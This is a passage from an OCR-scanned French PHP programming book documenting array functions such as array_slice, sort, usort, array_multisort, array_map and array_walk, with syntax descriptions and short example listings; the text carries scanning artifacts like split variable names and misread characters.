du tableau, ce dernier n'est tout simplement pas complete, mais sa taille 
n'en est pas pour autant reduite. 



array_slice() 

Retourne un tableau extrait d'un autre tableau. 

Syntaxe array array_sl ice (array $tableau, int $debut [, int 

$longueur] ) 

$tableau Tableau de reference. 

$debut Numero d'ordre du premier element du tableau a extraire. Au premier 

element du tableau correspond le numero 0. Ce numero d'ordre est 
independant de l'index (en particulier apres un appel a la fonction 
array_reverse ( ) avec comme second argument la valeur TRUE, 
l'element d'index peut se retrouver en fin de tableau). Si $debut est 
negatif, alors le compte se fait en partant de la fin du tableau. 
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$1 ongueur Argument optionnel precisant le nombre d'elements a extraire. Par 

defaut, ce sont tous les elements suivants du tableau qui sont extraits. Si 
$ longueur est negatif, ce sont tous les elements jusqu'a l'element qui se 
trouve a abs ( $ 1 ongueur ) de la fin qui sont extraits. 

retour Tableau des elements extraits. Les cles sont conservees mais pas les index. 

Listing 3.12 : array_array_slice.php 

<?php 

$tableau = array ("cle" => "elementO", 2 => "el emeriti", 
1 => "element.2"); 

i print_r(array_slice($tableau, 0, 2)); 

°- ?> 

03 
SI 
CO 



cu 



retourne par exemple : 
Array ( [cle] => elementO [0] => elementl ) 



array_splice() 



Supprime les elements d'un tableau ; eventuellement, insere des elements dans le tableau et 
retourne le tableau des elements supprimes. 



Syntaxe 

$tabl eau 
$debut 



$1 ongueur 



$rempl acement 



retour 



array array_spl ice (array $tableau, int 
[, array $rempl acement]] ) 

Tableau a modifier. 



debut [, int $longueur 



Numero d'ordre du premier element du tableau a supprimer. Au premier 
element du tableau correspond le numero 0. Ce numero d'ordre est 
independant de 1'index (en particulier apres un appel a la fonction 
array_reverse ( ) avec comme second argument la valeur TRUE, 
l'element d'index peut se retrouver en fin de tableau). Si $debut est 
negatif, alors le compte se fait en partant de la fin du tableau. 

Argument optionnel precisant le nombre d'elements a supprimer. Par 
defaut, ce sont tous les elements suivants du tableau qui sont supprimes. Si 
$ 1 ongueur est negatif, ce sont tous les elements jusqu'a l'element qui se 
trouve a abs ( $ longueur ) de la fin qui sont supprimes. 

Tableau optionnel contenant les valeurs a inserer dans le tableau a partir 
de l'element pointe par $ debut. Si le nombre d'elements inseres est 
superieur au nombre d'elements supprimes, alors le reste du tableau est 
decale. Dans ce cas, les cles sont conservees mais pas les index. Par defaut, 
les elements sont simplement supprimes. 

Tableau des elements supprimes. 
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array_chunk() 



Retourne un tableau indexe ayant pour valeurs les morceaux d'un tableau decoupe en 
morceaux. 

Syntaxe array array_chunk (array $tableau, int $taille [, boolean 

$mode] ) 

$tabl eau Tableau a decouper en morceaux. 

$tai 1 1 e Taille des morceaux (nombre d'elements). 

$mode Precise si les cles du tableau doivent etre conservees : 

TRUE, les cles sont conservees. 

FALSE (valeur par defaut), chaque morceau de tableau est reindexe en 
commengant par 0. 

retour Tableau indexe contenant des tableaux issus de la decoupe en morceaux 

du tableau d'entree. 

Fonctions de manipulation des cles d'un tableau 



array_change_key_case () 

Retourne un tableau avec la casse des cles modifiee. 

Syntaxe array array_change_key_case (array $tableau [, int $casse]) 

$tableau Tableau de reference. 

$ c a s s e Au choix, l'une des deux constantes suivantes : 

CASE_LOWER (valeur par defaut), pour mettre toutes les cles en 
minuscules. 

CASE_UPPER, pour mettre toutes les cles en majuscules, 
retour Tableau avec tous les index en majuscules ou minuscules. 

Fonctions de conversion tableau <-> variable 



list() 



Construit une liste de variables a partir des donnees d'un tableau. 

Ce n'est pas une veritable fonction, puisqu'elle s'utilise de la facon suivante : 
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list ( $variablel , $variable2 , ...) = $tableau 

Syntaxe void list(mixed $variablel [.mixed $variable2, ...]) 

$vari abl el Variable a laquelle doit etre affectee la premiere valeur du tableau. 

$vari abl e2 Variable a laquelle doit etre affectee la seconde valeur du tableau, 

etc. 



extract () 

Construit une liste de variables a partir des donnees d'un tableau, les noms des variables etant 
bases sur les cles du tableau. 

int extract (array $tableau [, int $modeExtraction [, string 
$prefixe]] ) 

Tableau (associatif) dont on veut se servir pour creer des variables. 

Argument optionnel indiquant quelle strategie adopter, principalement si 
la variable que Ton souhaite creer existe deja. Cet argument peut prendre 
une valeur parmi : 



Syntaxe 

$tabl eau 
$modeExtracti on 



EXTR_OVERWRITE (valeur par defaut) remplace la valeur de la variable 
par la valeur trouvee dans le tableau si la cle correspond a une variable 
existante. 

EXTR_SKI P ignore l'element rencontre si la cle correspond a une variable 
existante. 

EXTR_PREFIX_SAME fait preceder le nom de la variable par $pref ixe 
si la cle correspond a une variable existante. 

EXTR_PREFIX_ALL fait systematiquement preceder le nom de la 
variable par $pref ixe. 

EXTR_PREFIX_INVALID fait preceder le nom de la variable par 
$pref ixe si la cle ne permet pas de creer un nom de variable valide (par 
exemple si la cle est en fait un index). 

$prefixe Argument optionnel a preciser si $modeExtraction prend l'une des 

valeurs suivantes : EXTR_PREFIX_SAME, EXTR_PREFIX_ALL, 
EXTR_PREFIX_INVALID. 

retour Nombre de variables generees. 



compact () 

Retourne un tableau associatif cree a partir des noms de variables (qui seront les cles du 
tableau) et de leurs valeurs. 
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Syntaxe array compact (string $variabl el [, string $variable2, ...]) 

$vari abl el , ... Noms des variables a ajouter au tableau. Ces arguments peuvent, en fait, 
egalement etre des tableaux contenant des chaines de caracteres precisant 
des noms de variables (ou des tableaux). Chaque argument sous forme de 
tableau est traite de facpn recursive. 

retour Tableau associatif contenant l'ensemble des paires (cle, valeur) 

correspondant aux noms de variables donnes. 

Fonctions de parcours de tableau 

Les tableaux etant en fait des listes de couples (cle, valeur) ou (index, valeur), ils peuvent etre 
parcourus non pas uniquement en s'appuyant sur les cles ou les index, mais egalement grace a 
un pointeur se deplacant dans la liste. 



current () 

Retourne la valeur actuellement pointee par le pointeur interne du tableau (sans avancer le 
pointeur). 

Syntaxe mixed current (array $tableau) 

$tableau Tableau a parcourir. 

retour Valeur actuellement pointee par le pointeur interne de $tableau. 

FALSE si le pointeur est en dehors du tableau. 



pos() 

Equivalent de current ( ) . 



key() 

Retourne la cle (ou index) de l'element actuellement pointe par le pointeur interne du tableau 
(sans avancer le pointeur). 

Syntaxe mixed key (array $tableau) 

$tableau Tableau a parcourir. 

retour Cle (ou index) de l'element actuellement pointe par le pointeur interne de 

$tableau. FALSE si le pointeur est en dehors du tableau. 
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reset () 

Remet le pointeur interne au debut du tableau et retourne le premier element. 

Syntaxe mixed reset (array $tableau) 

$tableau Tableau a parcourir. 

retour Premier element du tableau. FALSE si le tableau est vide. 



next() 

Avance le pointeur interne du tableau et retourne le nouvel element pointe. 

Syntaxe mixed next (array $tabl eau) 

$tableau Tableau a parcourir. 

retour Element suivant du tableau. FALSE si Ton a depasse la fin du tableau. 

Listing 3.13 : array next.php 

<?php 

// Exemple de parcours d'un tableau 

// avec le pointeur interne et la fonction 

// next(); 

$tableau = array( "Debut", "", "Milieu", 0, "Fin"); 

// Ici, l'appel a reset () n'est pas necessaire 
// puisque apres initialisation le pointeur 
// de tableau est au debut. 
$valeur = reset($tableau) ; 

// Tant que valeur est differente de FALSE 
// ATTENTION: 

// 1 - Bien prendre soin de mettre les 2 signes = 
// afin de comparer egalement les types 
// car == FALSE (meme valeur) 

// alors que !== FALSE (meme valeur mais pas meme type) 
// 2 - Ce type de parcours n'est valable 
// que si le tableau ne possede aucun 
// element valant FALSE 
while ($valeur !== FALSE) { 

echo "$valeur<br />"; 

$valeur = next ($tabl eau) ; 

} 
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aura pour effet d'afficher : 
Debut 

Mi 1 ieu 


Fin 



prev() 

Recule le pointeur interne du tableau et retourne le nouvel element pointe. 
Syntaxe mixed prev (array $tableau) 

$tableau Tableau a parcourir. 

retour Element precedent du tableau. FALSE si le debut du tableau a ete deplace. 



end() 

interne a la fin du tableau et retourne le dernier element, 
mixed end(array $tableau) 
Tableau a parcourir. 

Dernier element du tableau. FALSE si le tableau est vide. 



Place le pointeur 
Syntaxe 
$tabl eau 
retour 



each() 

Retourne un tableau contenant la cle et la valeur de l'element actuellement pointe par le 
pointeur interne du tableau, puis avance le pointeur. 

Syntaxe array each (array $tableau) 

$tableau Tableau a parcourir. 

retour Tableau compose dequatre elements. A l'element d'index eta l'element 

de cle "key" est associee la cle (ou l'index) de l'element pointe. A l'element 
d'index 1 et a l'element de cle "value" est associee la valeur de l'element 
pointe. FALSE si la fin du tableau est depassee. 



each() et list() un duo tres apprecie en concurrence avec foreach 

~ Le tableau issu de I'appel a each ( ) est souvent associe a list ( ) afin de manipuler 
REMARQJE ^ e s i m p[ es chaines plutot que des tableaux selon le shema list ($cle, $valeur) 
= each ($tableau) ;. Ainsi, les tableaux sont souvent parcourus de la fagon 
suivante : 
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reset ($tabl eau) ; 

while (list($cle, $valeur) = each($tableau)) { 

echo "A la cle $cle est associe la valeur $valeur<br />"; 



REMARQUE 



Une autre solution consiste a utiliser foreach Mais il est egalement possible de le 
faire de la facon suivante : 

foreach ($tabl eau as $cle => $valeur) 

echo "A la cle $cle est associee la valeur $valeur<br />"; 



Fonctions de gestion de piles 

II est possible d'utiliser les tableaux PHP comme des piles, c'est-a-dire comme des listes dans 
lesquelles s'empilent les elements et auxquelles on peut acceder en prenant le premier ou le 
dernier element. 



array_push() 



Ajoute un ou plusieurs elements a la fin du tableau (au-dessus de la pile). 



retour 



Syntaxe 



$tabl eau 
$val eurl , 



int array_push (array $tableau, mixed $valeurl, [mixed 
$valeur2, ...]) 

Tableau auquel vous souhaitez ajouter des elements. 
Valeurs (ou donnees) que vous souhaitez ajouter au tableau. 
Retourne le nombre d'elements du tableau apres ajout. 




array_pop() 



Retourne et supprime le dernier element du tableau (celui du dessus de la pile). 



retour 



Syntaxe 
$tabl eau 



mixed array_pop (array $tableau) 
Tableau que Ton veut "depiler". 

Le dernier element du tableau ou NULL si le tableau est vide (ou si 
l'argument n'est pas un tableau). 
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array_unshift() 

Ajoute un ou plusieurs elements au debut du tableau (au bas de la pile). 

Syntaxe int array_unshi ft (array $tableau, mixed $valeurl, [mixed 

$valeur2, ...]) 

$tabl eau Tableau auquel vous souhaitez ajouter des elements. 

$val eur 1 , ... Valeurs (ou donnees) que vous souhaitez ajouter au tableau. La premiere 
valeur donnee correspondra a la premiere valeur du tableau resultat. 

retour Retourne le nombre d'elements du tableau apres ajout. 



array_shift() 

Retourne et supprime le premier element du tableau (celui du bas de la pile). 

Syntaxe mixed array_shi ft (array $tableau) 

$tabl eau Tableau que Ton veut "depiler" par le bas. 

retour Le premier element du tableau ou NULL si le tableau est vide (ou si 

l'argument n'est pas un tableau). 

Fonctions de tri 
Tri inverse 



array_reverse() 

Retourne un tableau avec les valeurs dans l'ordre inverse de celui specifie. 

Syntaxe array array_reverse(array $tabl eau, [bool ean $avecCl e] ) 

$tableau Tableau de reference. 

$avecCl e Argument optionnel a positionner a TRUE si l'association cle->valeur doit 

etre conservee (pour un tableau indexe, les valeurs conserveront 
egalement leur index). Par defaut $avecCle = FALSE ; le tableau 
resultat est alors obligatoirement un tableau indexe entre et la taille du 
tableau -1. 



retour 



Retourne le tableau specifie avec les valeurs classees dans l'ordre inverse. 
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Tri selon l'ordre croissant des valeurs 



sort() 

Trie les elements d'un tableau dans l'ordre croissant des valeurs. Les cles (ou index) ne sont pas 
conservees ; le tableau devient obligatoirement un tableau indexe entre o et la taille du 
tableau-1. 

Syntaxe void sort (array $tableau) 

$tableau Tableau a trier. 

Listing 3.14 : array sort.php 

<?php 

$tabl eauVi 1 1 e = array("Circuit" => "Le Mans", "Braderie" => "Lille", 

"Horloge" => "Rouen", "Place Stanislas" => "Nancy"); 

sort ($tabl eauVi lie); 

for ($i=0; $i<count ($tabl eauVi 1 1 e) ; $i++) { 
echo - M .$tableauVille[$i] ."<br />"; 

} 

?> 

affichera 

- Le Mans 

1 - Lille 

2 - Nancy 

3 - Rouen 



asort() 

Trie les elements d'un tableau dans l'ordre croissant des valeurs, tout en conservant 
1'association cle => valeur. 

Syntaxe void asort (array $tableau) 

$tableau Tableau a trier. 



natsort() 

Trie les elements d'un tableau dans l'ordre croissant, dit "naturel", des valeurs. Ce tri ne se 
contente pas de comparer les chaines de caracteres, caractere par caractere, mais distingue les 
parties numeriques des parties alphabetiques. Ainsi, dans l'ordre "naturel", "mot2" apparait 
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avant "motlO". Les cles ou index ne sont pas conserves ; le tableau devient obligatoirement un 
tableau indexe entre et la taille du tableau-1. 

Syntaxe void natsort (array $tableau) 

$tableau Tableau a trier. 



natcasesort() 

Trie les elements d'un tableau dans l'ordre croissant, dit "naturel", des valeurs sans tenir compte 
de la casse. Ce tri ne se contente pas de comparer les chaines de caracteres, caractere par 
caractere, mais distingue les parties numeriques des parties alphabetiques. Ainsi, dans l'ordre 
"naturel", "mot2" apparait avant "motlO". Les cles ou index ne sont pas conserves ; le tableau 
devient obligatoirement un tableau indexe entre et la taille du tableau -1. 

Syntaxe void natcasesort (array $tableau) 

$tableau Tableau a trier. 

natsortQ, natcasesortQ et ordre decroissant 

Les fonctions natsort () et natcasesort () ne proposent pas d 'equivalent pour un 
tri decroissant. Pour un tel tri, vous devrez faire appel a natsort ( ) ou 
natcasesort ( ) puis a $tableau = array_reverse ($ tableau ) ;. 



Tri selon l'ordre decroissant des valeurs 

rsort() 

Trie les tableaux dans l'ordre decroissant des valeurs. Les cles (ou index) ne sont pas 
conservees ; le tableau devient obligatoirement un tableau indexe entre et la taille du 
tableau-1. 

Syntaxe void rsort (array $tableau) 

$tableau Tableau a trier. 

Voir l'exemple associe a la fonction sort ( ) . 



arsort() 

Trie les elements d'un tableau dans l'ordre decroissant des valeurs, tout en conservant 
l'association cle =>valeur. 




REMARQUE 



Chapitre 3 Le langage PHP 



Syntaxe void arsort (array $tableau) 

$tableau Tableau a trier. 

Tri personnalise des valeurs 



usort() 

Trie les elements d'un tableau dans l'ordre croissant des valeurs, en determinant 1'ordre des 
valeurs a partir d'une fonction definie par l'utilisateur. Les cles (ou index) ne sont pas 
conservees ; le tableau devient obligatoirement un tableau indexe entre et la taille du 
tableau-1. 

Syntaxe boolean usort (array $tableau, fonction $fonctionComparai son) 

$tableau Tableau a trier. 

$fonctionComparaison Nom de la fonction a utiliser pour comparer les valeurs. Cette fonction 
doit accepter deux arguments et retourner : en cas d'egalite, 1 en cas de 
superiority du premier argument sur le deuxieme et -1 sinon. 

boolean TRUE. 

Listing 3.15 : array usort.php 

<?php 

function maFonction($valeurl, $valeur2) { 
// La fonction suivante retourne 
// un pourcentage de similarity entre 
// les 2 chaTnes de caracteres. 
//On pourra ainsi dire[ jlaquelle des 2 chaTnes 
// des 2 valeurs se rapproche le plus 
// de "Etretat" 

$sl = similar_text($valeurl, "Etretat"); 
$s2 = similar_text($valeur2, "Etretat"); 

if ($sl == $s2) return 0; 
return ($sl > $s2) ? -1 : 1; 

} 

$tableauMot = array("Etat", "Etretat", "Etretot", "Arrete"); 

// Tri du plus proche du mot "Etretat" 
// au plus eloigne. 
usort ($tabl eauMot, "maFonction") ; 
pri nt_r ($tabl eauMot) ; 

?> 

retourne bien les elements du tableau du plus proche du mot "Etretat" au plus eloigne. 
Array ( [0] => Etretat [1] => Etretot [2] => Etat [3] => Arrete ) 
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REMARQUE 



Cas d 'utilisation 

Ce type de fonction est particulierement utile dans le cas d'une methode de 
comparaison un peu complexe (comme lorsque, dans I'exemple, il s'agit de calculer 
la similarite entre chaines de caracteres), et surtout lorsque les elements du tableau 
sont des objets et que les comparaisons s'appliquent sur les attributs de I'objet. 



uasort() 

Trie les elements d'un tableau dans l'ordre croissant des valeurs, en determinant 1'ordre des 
valeurs a partir d'une fonction definie par l'utilisateur. Les cles (ou index) ne sont pas 
conservees ; le tableau devient obligatoirement un tableau indexe entre et la taille du 
tableau-1. 

Syntaxe boolean uasort(array $tableau, fonction $foncti onComparai son) 

$tableau Tableau a trier. 

$f oncti onComparai son Nom de la fonction a utiliser pour comparer les valeurs. Cette fonction 
doit accepter deux arguments et retourner : en cas d'egalite, 1 en cas de 
superiority du premier argument sur le deuxieme et - 1 sinon. 

retour TRUE. 

Tri selon l'ordre croissant des cles 



ksort() 

Trie les elements d'un tableau dans l'ordre croissant des cles, tout en conservant l'association 
cle => valeur. 

Syntaxe boolean ksort (array $tableau) 

$tableau Tableau a trier, 

retour TRUE. 

Tri selon l'ordre decroissant des cles 



krsort() 

Trie les tableaux dans l'ordre decroissant des cles, tout en conservant l'association cle => 
valeur. 
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Syntaxe boolean krsort (array $tableau) 

$tableau Tableau a trier, 

retour TRUE. 

Tri personnalise des cles 



uksort() 

x Trie les elements d'un tableau dans l'ordre croissant des cles, en determinant l'ordre des cles a 

7" partir d'une fonction definie par l'utilisateur. 

B) 
CO 

=> Syntaxe boolean uksort (array $tableau, fonction $foncti onComparai son) 

CO 

— $tableau Tableau a trier. 

CD 

■ $f oncti onComparai son Nom de la fonction a utiliser pour comparer les cles. Cette fonction doit 

accepter deux arguments et retourner : en cas d'egalite, 1 en cas de 
superiorite du premier argument sur le deuxieme et - 1 sinon. 

retour TRUE. 



Voir l'exemple associe a la fonction usort ( ) . 



Tri sur des tableaux lies 



array_multisort() 

Trie les elements des tableaux selon l'ordre du premier tableau indique. 

Syntaxe boolean arrayjniil ti sort (array $tableaul [,int $model] [, int 

$mode2] , array $tableau2 [, array $tableau3]) 

$tabl eaul Tableau a trier a prendre comme reference pour le tri. 

$model Sens de tri. 



SORT_ASC pour un tri croissant. 
SORT_DESC pour un tri decroissant. 

$mode2 Option de tri: 



SORT_REGULAR pour une comparaison "traditionnelle" des valeurs. 
S0RT_NUMERIC pour une comparaison numerique des valeurs. 
S0RT_STRING pour une comparaison alphabetique des valeurs. 

$tabl eau2 , . . . Tableaux sur lesquels les permutations effectuees sur $ tableaul doivent 
etre repercutees. 
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Listing 3.16 : arrayarraymultisort.php 

<?php 

// Exemple de 2 tableaux lies 
// Nom et Notes doivent toujours correspondre ... 
$eleves = array ("Pierre" , "Jean", "Henri", "Odille"); 
$notes = array(12, 15, 13, 10); 

// ... et pourtant on voudrait trier 
// selon les prenoms des Sieves. 
array_mul ti sort ($el eves , $notes) ; 

echo "<b>El eves</b>: " ; 
print_r($eleves) ; 

echo "<br />"; 

echo "<b>Notes</b>:"; 

print_r($notes) ; 

echo "<br />"; 

// ... ou encore selon 1 'ordre decroissant 
// des notes. 

array_multisort($notes, S0RT_DESC, $eleves); 

echo "<br />"; 

echo "<b>El eves</b>: " ; 

print_r($eleves) ; 

echo "<br />"; 

echo "<b>Notes</b>:"; 

print_r($notes) ; 



affichera 

El eves: Array ( [0] => Henri [1] => Jean [2] => Odille [3] => Pierre ) 

Notes: Array ( [0] => 13 [1] => 15 [2] => 10 [3] => 12 ) 

El eves: Array ( [0] => Jean [1] => Henri [2] => Pierre [3] => Odille ) 

Notes: Array ( [0] => 15 [1] => 13 [2] => 12 [3] => 10 ) 
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shuffle 

Trie les elements d'un tableau dans l'ordre.... aleatoire. Autrement dit, melange les elements 
d'un tableau. Les cles (ou index) ne sont pas conservees ; le tableau devient obligatoirement un 
tableau indexe entre et la taille du tableau -1. 

Syntaxe boolean shuffl e (array $tableau) 

$tableau Tableau a melanger. 

retour TRUE. 

Fonctions de statistiques 

II existe quatre fonctions que Ton peut assimiler a des fonctions de statistiques. 

array_sum() 

Retourne la somme des valeurs des elements d'un tableau (fort pratique pour calculer les 
moyennes). 

Syntaxe mixed array_sum (array $tableau) 

$tabl eau Tableau sur lequel doit s'effectuer l'operation. 

retour La somme des valeurs des elements du tableau, de type entier ou reel, 

selon le contenu du tableau. 



array_count_values () 

Retourne un tableau precisant le nombre d'occurrences d'une valeur dans un tableau donne. 

Syntaxe array array_count_val ues (array $tableau) 

$tabl eau Tableau sur lequel doit s'effectuer l'operation. 

retour Tableau associatif ayant comme cles les valeurs du tableau sur lequel a ete 

effectuee l'operation et comme valeur le nombre d'occurrences de la cle. 

Listing 3.17 : arrayarraycountvalues 



<?php 

$tableauNote = array ("Pierre" => 10, "Marcel" => 12, "Franck" => 10, 
"Jean" => 10, "Marie" => 15, "Cecile" => 12); 
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$stats = array_count_val ues ($tabl eauNote) ; 

echo "A ce devoir ...<br />\n"; 
while (list($note, $nb) = each ($stats) ) { 
echo "$nb el eves ont eu $note<br />"; 



donnera le resultat 

A ce devoir . . . 
3 el eves ont eu 10 
2 el eves ont eu 12 
1 el eves ont eu 15 

(nous vous laissons le soin d'ameliorer ce script pour traiter le cas ou $nb = l). 



, Voir aussi lesfonctions min ( ) et max() developpees dans le chapitre "Les fonctions 
mathematiques" . 



RENVOI 

Fonctions mettant en oeuvre plusieurs tableaux 
Comparaison de tableaux 



array_diff() 



Retourne un tableau presentant les valeurs contenues dans un tableau, mais absentes d'autres 
tableaux. 

Syntaxe array array_di ff (array $tableaul, array $tableau2, [array 

$tableau3, ...]) 

$tableaul Tableau dont on veut comparer le contenu avec ceux des autres tableaux. 

$tabl eau2 , . . . Tableaux dans lesquels on recherche l'eventuelle presence des valeurs du 
tableau 1. 

retour Tableau presentant toutes les valeurs contenues dans $tableaul et qui 

n'ont ete trouvees dans aucun des autres tableaux precises. Les cles sont 
conservees (identiques a celle de $tableaul). 



array_intersect() 



Retourne un tableau presentant les valeurs contenues dans un tableau et dans un ensemble 
d'autres tableaux. 
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Syntaxe array array_i ntersect (array $tableaul, array $tableau2, [array 

$tableau3, ...]) 

$tableaul Tableau dont on veut comparer le contenu avec ceux des autres tableaux. 

$tabl eau2 , . . . Tableaux dans lesquels on recherche I'eventuelle presence des valeurs du 
tableau 1. 

retour Tableau presentant toutes les valeurs contenues dans $tableaul et qui 

ont ete trouvees dans tous les autres tableaux precises. Les cles sont 
conservees (identiques a celle de $tableaul). S'il n'y a pas de valeurs 
communes alors c'est un tableau vide qui est retourne. 



array_intersect_assoc () 

Retourne un tableau presentant les valeurs et les cles associees a celle-ci, contenues dans un 
tableau et dans un ensemble d'autres tableaux. 

Syntaxe: array array_intersect_assoc (array $tableaul, array $tableau2, 

[array $tableau3, ...]) 

$tabl eaul Tableau dont on veut comparer le contenu avec ceux des autres tableaux. 

$tabl eau2 , . . . Tableaux dans lesquels on recherche I'eventuelle presence des valeurs du 
tableau 1. 

retour Tableau presentant toutes les valeurs et les clefs contenues dans 

$ tableaul et qui ont ete trouvees dans tous les autres tableaux precises. 
Les cles sont conservees (identiques a celle de $ tableaul). 

<?php 

$tableaul = array(0=>"Belgique", l=>"France", 2=>"Italie", 3=>"Sui sse") ; 
$tableau2 = array(l=>"France" , 3=>"Italie", 2=>"Irlande") ; 
$tableauFinal = array_intersect_assoc($tableaul, $tableau2); 
print_r($tabl eauFi nal ) ; 

?> 

Array 
( 

1 => France 

) 



Fusion de tableaux 



array_merge() 

Retourne un tableau issu de la fusion d'un ensemble de tableaux. 
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Syntaxe array arrayjnerge (array $tableaul, array $tableau2, [array 

$tableau3, ...]) 

$tableaul, ... Les tableaux a fusionner. 

retour Tableau presentant toutes les valeurs contenues dans les differents 

tableaux. Au fil du parcours des tableaux a fusionner, les valeurs ont ete 
ajoutees a la fin du tableau resultat. Les valeurs liees a des cles peuvent etre 
ecrasees si la cle est rencontree plusieurs fois. 



array_merge_recursive () 

Retourne un tableau issu de la fusion d'un ensemble de tableaux. Dans ce cas, si une cle donnee 
est rencontree plusieurs fois, la valeur dans le tableau resultat ne sera pas la derniere valeur 
rencontree, mais la fusion (dans un tableau) des valeurs rencontrees. 

Syntaxe array array_merge_recursi ve(array $tableaul, array $tableau2, 

[array $tableau3, ...]) 

$tableaul, ... Les tableaux a fusionner. 

retour Tableau presentant toutes les valeurs contenues dans les differents 

tableaux. Au fil du parcours des tableaux a fusionner, les valeurs ont ete 
ajoutees a la fin du tableau resultat. Les valeurs liees a des cles rencontrees 
plusieurs fois sont regroupees dans un tableau. 

Listing 3.18 : array_array_merge_recursive.php 

<?php 

$agendal = array ("Lundi " => "Medecin", "Mardi" => "Coiffeur"); 
$agenda2 = array ("Mardi " => "Reunion", "Vendredi" => "VTT"); 

$agenda = array_merge_recursive($agendal, $agenda2); 
print_r($agenda) ; 

?> 

Voila comment fusionner intelligemment deux agendas... 

Array ( [Lundi] => Medecin [Mardi] => Array ( [0] => Coiffeur [1] => Reunion ) 
x [Vendredi] => VTT ) 



Fonctions de traitement personnalise des tableaux 



array_filter() 



Retourne un tableau filtre a partir d'une fonction ecrite par l'utilisateur. 
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Syntaxe array array_fi 1 ter (array $tabl eau [, function 

$foncti onFi 1 tre] ) 

$tableau Tableau a filtrer. 

$f onct i onFi 1 tre Fonction a appeler pour determiner si l'element doit etre conserve ou non 
dans le tableau resultat. Cette fonction doit prendre en compte un 
argument, et retourner TRUE si l'element doit etre conserve, FALSE sinon. 
Ce parametre est (curieusement) optionnel. Si aucune fonction de filtrage 
n'est fournie, alors le tableau est restitue tel quel. 

retour Retourne le tableau d'entree sans les elements qui ont ete indiques, par la 

fonction $f onctionFiltre, comme etant a filtrer. Les cles et index du 
tableau sont conserves. 



Q- 
09 

=> <?php 
J2 



Listing 3.19 : arrayarrayfilter.php 



// Exemple de filtre qui ne conserve que les 
// prenoms commengant par M 
function monFiltre($prenom) { 
return ($prenom[0] == "M"); 

} 

$prenoms = array ("Stephane" , "Marie", "Thierry", "Abi", 
"Chri stophe" , "Manu", "Anne"); 

print r(array f i 1 ter($prenoms , "monFiltre")) ; 



ne conserve bien que les prenoms commengant par M. 
Array ( [1] => Marie [5] => Manu ) 



array_map() 

Retourne un tableau issu du resultat de l'application d'une fonction ecrite par l'utilisateur, et 
prenant en compte les donnees d'un ou de plusieurs tableaux. 

Syntaxe array array_map(function $fonction, array $tableaul [, array 

$tableau2, ...]) 

$fonction Fonction a appeler pour chaque element des tableaux $tableaul, 

$tableau2, etc. Cette fonction doit prendre en compte autant 
d'arguments que de tableaux fournis. 

$tabl eaul , . . . Tableaux contenant les valeurs sur lesquelles doit s'appliquer la fonction. 

Si certains tableaux sont moins longs que le plus grand des tableaux, des 
valeurs nulles completent ces tableaux. Ces tableaux sont traites dans 
l'ordre de leurs elements (et non de leur index). 
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retour Tableau indexe de la taille du plus grand des tableaux passes en parametre 

et ayant pour valeurs le resultat de la fonction appliquee aux elements des 
tableaux passes en parametre. 

Listing 3.20 : array_array_map.php 

<?php 

// Exemple de 2 tableaux servant 

// a stocker des coordonnees 

// C'est pas aussi beau que la programmation 

// objet mais des fois ga depanne 

$tabX = array (1, 5, 2, 4); 
$tabY = array (10, 2, 3, 2); 



// Exemple d'une fonction permettant 
// le calcul de la distance entre un point 
// et le centre (0, 0) 
function distance($x, $y) { 
return sqrt($x*$x + $y*$y) ; 

} 

// Et, hop, d'un simple appel a 
// arrayjnap j'ai mes distances 
// pour tous les points. 

print_r(array_map("distance", $tabX, $tabY)); 



retournera le tableau des distances suivant : 

Array ( [0] => 10.049875621121 [1] => 5.3851648071345 [2] => 3.605551275464 [3] 
x => 4.4721359549996 ) 



array_reduce() 

Retourne le resultat d'une operation definie par l'utilisateur, appliquee iterativement sur 
l'ensemble des valeurs d'un tableau. 

Syntaxe mixed array_reduce(array $tableau, function $fonction [,int 

$val eurlni ti al e] ) 

$tableau Tableau contenant les valeurs sur lesquelles doivent s'effectuer 

l'operation. 

$fonction Fonction a appeler iterativement sur chaque element du tableau. Cette 

fonction doit prendre en compte deux arguments, le premier etant le 
resultat du calcul trouve jusque-la, le second etant la valeur a prendre en 
compte pour la poursuite du calcul. La fonction doit retourner le nouveau 
resultat obtenu. 
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$valeurlnitiale Argument optionnel, precisant la valeur initiale utilisee pour le calcul. Par 
defaut $valeurlnitiale = 0. 

retour Le resultat du calcul voire la valeur initiale si le tableau est vide. 

Listing 3.21 : array_array_reduce.php 

<?php 

// Calcul de P(xO) 
// ou P polynome 

// P(x) = x~4 + 2x^3 + x~2 + 4x + 6 

// = (((x + 2)*x + l)*x +4)*x + 6 

// Soit le calcul iteratif 

// Resultat = 1 

// Resultat = Resultat*xO + 2 

// Resultat = Resultat*xO + 1 

// Resultat = Resultat*xO + 4 

// Resultat = Resultat*xO + 6 

// Ainsi avec le tableau des coefficients 
StabCoef = array(2, 1, 4, 6); 

// et la ch'tite fonction 

function polynome($resul tat, $coef) { 

$x0=5; // Calcul pour x0=5; 

return $resul tat*$xO + $coef; 

} 

// J'ai mon resultat 

echo "P(5)=" .array_reduce($tabCoef , "polynome", 1); 

?> 

Si vous souhaitez vraiment le savoir, cela retourne : 
P(5)=926 



array_walk() 

Appelle une fonction utilisateur sur chaque element d'un tableau. 

Syntaxe boolean array_wal k (array $tableau, function $fonction [, mixed 

$argument] ) 

$tableau Tableau contenant les valeurs sur lesquelles doivent s'effectuer les 

operations. 

$foncti on Fonction a appeler pour chaque element du tableau. Cette fonction doit 

prendre en compte deux arguments (ou trois si $argument est specifie), 
le premier argument etant la valeur de l'element actuellement considere, 
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le second etant la cle (cm index) de l'element actuellement considere. Le 
troisieme argument prendra la valeur de $argument). Attention ! il n'est 
pas possible dans ce cas d'appeler une fonction PHP, vous devez 
necessairement creer votre propre fonction. 

$ argument Argument optionnel, passe en troisieme parametre de la fonction 

utilisateur. 

retour TRUE si l'operation s'est bien passee, FALSE sinon. 



r ^g) Passage par valeur 

lt =^ N'oubliez pas que, par defaut, les parametres passes aux fonctions le sont par valeur. 
REHARQJE $i vous souhaitez utiliser array_walk ( ) pour modifier les valeurs du tableau, 
n'oubliez pas d'utiliser une interface similaire a mafonction (&$valeur, $cle). 



Listing 3.22 : arrayarraywalk.php 

<?php 

$menu = array ("Accueil", "Forum", "A propos"); 

// Fonction pour afficher le contenu 

// du menu avec 1 'index et un separateur 

function affiche($valeur, $key, $separateur) { 

echo ($key+l)." $separateur ".$valeur."<br />"; 

} 

// Fonction pour modifier les etiquettes 
// du menu 

function patch (&$val eur, $key) { 
$valeur="[".$valeur."]"; 

} 

// Affiche le menu 

array_wal k($menu, "affiche", "-"); 

// Patche le menu 
array_wal k($menu, "patch"); 

